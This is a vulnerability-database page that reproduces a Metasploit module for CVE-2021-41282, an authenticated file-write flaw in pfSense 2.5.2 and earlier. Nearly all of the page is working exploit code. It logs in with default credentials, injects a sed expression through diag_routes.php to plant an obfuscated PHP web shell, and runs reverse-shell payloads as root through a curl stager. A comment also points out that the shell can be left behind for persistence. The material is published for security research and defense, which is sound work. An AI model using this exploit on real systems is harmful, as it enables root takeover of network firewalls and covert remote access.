Lucene search
K

pfSense 2.5.2 Shell Upload

🗓️ 04 Mar 2022 00:00:00Reported by Abdel Adim Oisfi, jbaines-r7, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 371 Views

pfSense 2.5.2 Web Shell Upload via Diag Route

Related
Code
ReporterTitlePublishedViews
Family
0day.today
pfSense 2.5.2 Shell Upload Exploit
4 Mar 202200:00
zdt
Circl
CVE-2021-41282
3 Mar 202221:29
circl
CNNVD
pfSense 注入漏洞
14 Feb 202200:00
cnnvd
Check Point Advisories
pfSense Remote Code Execution (CVE-2021-41282)
12 May 202200:00
checkpoint_advisories
CVE
CVE-2021-41282
1 Mar 202222:45
cve
Cvelist
CVE-2021-41282
1 Mar 202222:45
cvelist
Metasploit
pfSense Diag Routes Web Shell Upload
4 Mar 202217:43
metasploit
NCSC
Vulnerability fixed in pfSense
24 Feb 202200:00
ncsc
NCSC
Vulnerabilities fixed in pfSense
15 Mar 202200:00
ncsc
Nuclei
pfSense - Arbitrary File Write
6 Jun 202603:01
nuclei
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
include Msf::Exploit::FileDropper  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'pfSense Diag Routes Web Shell Upload',  
'Description' => %q{  
This module exploits an arbitrary file creation vulnerability in the pfSense  
HTTP interface (CVE-2021-41282). The vulnerability affects versions <= 2.5.2  
and can be exploited by an authenticated user if they have the  
"WebCfg - Diagnostics: Routing tables" privilege.  
  
This module uses the vulnerability to create a web shell and execute payloads  
with root privileges.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Abdel Adim "smaury" Oisfi of Shielder', # vulnerability discovery  
'jbaines-r7' # metasploit module  
],  
'References' => [  
['CVE', '2021-41282'],  
['URL', 'https://www.shielder.it/advisories/pfsense-remote-command-execution/']  
],  
'DisclosureDate' => '2022-02-23',  
'Platform' => ['unix', 'bsd'],  
'Arch' => [ARCH_CMD, ARCH_X64],  
'Privileged' => true,  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_openssl'  
},  
'Payload' => {  
'Append' => ' & disown'  
}  
}  
],  
[  
'BSD Dropper',  
{  
'Platform' => 'bsd',  
'Arch' => [ARCH_X64],  
'Type' => :bsd_dropper,  
'CmdStagerFlavor' => [ 'curl' ],  
'DefaultOptions' => {  
'PAYLOAD' => 'bsd/x64/shell_reverse_tcp'  
}  
}  
]  
],  
'DefaultTarget' => 1,  
'DefaultOptions' => {  
'RPORT' => 443,  
'SSL' => true  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
register_options [  
OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),  
OptString.new('PASSWORD', [true, 'Password to authenticate with', 'pfsense']),  
OptString.new('WEBSHELL_NAME', [false, 'The name of the uploaded webshell. This value is random if left unset', nil]),  
OptBool.new('DELETE_WEBSHELL', [true, 'Indicates if the webshell should be deleted or not.', true])  
]  
  
@webshell_uri = '/'  
@webshell_path = '/usr/local/www/'  
end  
  
# Authenticate and attempt to exploit the diag_routes.php upload. Unfortunately,  
# pfsense permissions can be so locked down that we have to try direct exploitation  
# in order to determine vulnerability. A user can even be restricted from the  
# dashboard (where other pfsense modules extract the version).  
def check  
# Grab a CSRF token so that we can log in  
res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/index.php'))  
return CheckCode::Unknown("Didn't receive a response from the target.") unless res  
return CheckCode::Unknown("Unexpected HTTP response from index.php: #{res.code}") unless res.code == 200  
return CheckCode::Unknown('Could not find pfSense title html tag') unless res.body.include?('<title>pfSense - Login')  
  
/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body  
return CheckCode::Unknown('Could not find CSRF token') unless csrf  
  
# send the log in attempt  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, '/index.php'),  
'method' => 'POST',  
'vars_post' => {  
'__csrf_magic' => csrf,  
'usernamefld' => datastore['USERNAME'],  
'passwordfld' => datastore['PASSWORD'],  
'login' => ''  
}  
)  
  
return CheckCode::Detected('No response to log in attempt.') unless res  
return CheckCode::Detected('Log in failed. User provided invalid credentials.') unless res.code == 302  
  
# save the auth cookie for later user  
@auth_cookies = res.get_cookies  
  
# attempt the exploit. Upload a random file to /usr/local/www/ with random contents  
filename = Rex::Text.rand_text_alpha(4..12)  
contents = Rex::Text.rand_text_alpha(16..32)  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/diag_routes.php'),  
'cookie' => @auth_cookies,  
'encode_params' => false,  
'vars_get' => {  
'isAjax' => '1',  
'filter' => ".*/!d;};s/Destination/#{contents}/;w+#{@webshell_path}#{filename}%0a%23"  
}  
})  
  
return CheckCode::Safe('No response to upload attempt.') unless res  
return CheckCode::Safe("Exploit attempt did not receive 200 OK: #{res.code}") unless res.code == 200  
  
# Validate the exploit was successful by requesting the uploaded file  
res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "/#{filename}"), 'cookie' => @auth_cookies })  
return CheckCode::Safe('No response to exploit validation check.') unless res  
return CheckCode::Safe("Exploit validation check did not receive 200 OK: #{res.code}") unless res.code == 200  
  
register_file_for_cleanup("#{@webshell_path}#{filename}")  
CheckCode::Vulnerable()  
end  
  
# Using the path traversal, upload a php webshell to the remote target  
def drop_webshell  
webshell_location = normalize_uri(target_uri.path, "#{@webshell_uri}#{@webshell_name}")  
print_status("Uploading webshell to #{webshell_location}")  
  
# php_webshell = '<?php if(isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>'  
php_shell = '\\x3c\\x3fphp+if($_GET[\\x22cmd\\x22])+\\x7b+system($_GET[\\x22cmd\\x22])\\x3b+\\x7d+\\x3f\\x3e'  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/diag_routes.php'),  
'cookie' => @auth_cookies,  
'encode_params' => false,  
'vars_get' => {  
'isAjax' => '1',  
'filter' => ".*/!d;};s/Destination/#{php_shell}/;w+#{@webshell_path}#{@webshell_name}%0a%23"  
}  
})  
  
fail_with(Failure::Disconnected, 'Connection failed') unless res  
fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200  
  
# Test the web shell installed by echoing a random string and ensure it appears in the res.body  
print_status('Testing if web shell installation was successful')  
rand_data = Rex::Text.rand_text_alphanumeric(16..32)  
res = execute_via_webshell("echo #{rand_data}")  
fail_with(Failure::UnexpectedReply, 'Web shell execution did not appear to succeed.') unless res.body.include?(rand_data)  
print_good("Web shell installed at #{webshell_location}")  
  
# This is a great place to leave a web shell for persistence since it doesn't require auth  
# to touch it. By default, we'll clean this up but the attacker has to option to leave it  
if datastore['DELETE_WEBSHELL']  
register_file_for_cleanup("#{@webshell_path}#{@webshell_name}")  
end  
end  
  
# Executes commands via the uploaded webshell  
def execute_via_webshell(cmd)  
if target['Type'] == :bsd_dropper  
# the bsd dropper using the reverse shell payload + curl cmdstager doesn't have a good  
# way to force the payload to background itself (and thus allow the HTTP response to  
# to return). So we hack it in ourselves. This identifies the ending file cleanup  
# which should be right after executing the payload.  
cmd = cmd.sub(';rm -f /tmp/', ' & disown;rm -f /tmp/')  
end  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, "#{@webshell_uri}#{@webshell_name}"),  
'vars_get' => {  
'cmd' => cmd  
}  
})  
  
fail_with(Failure::Disconnected, 'Connection failed') unless res  
fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200  
res  
end  
  
def execute_command(cmd, _opts = {})  
execute_via_webshell(cmd)  
end  
  
def exploit  
# create a randomish web shell name if the user doesn't specify one  
@webshell_name = datastore['WEBSHELL_NAME'] || "#{Rex::Text.rand_text_alpha(5..12)}.php"  
  
drop_webshell  
  
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")  
case target['Type']  
when :unix_cmd  
execute_command(payload.encoded)  
when :bsd_dropper  
execute_cmdstager  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation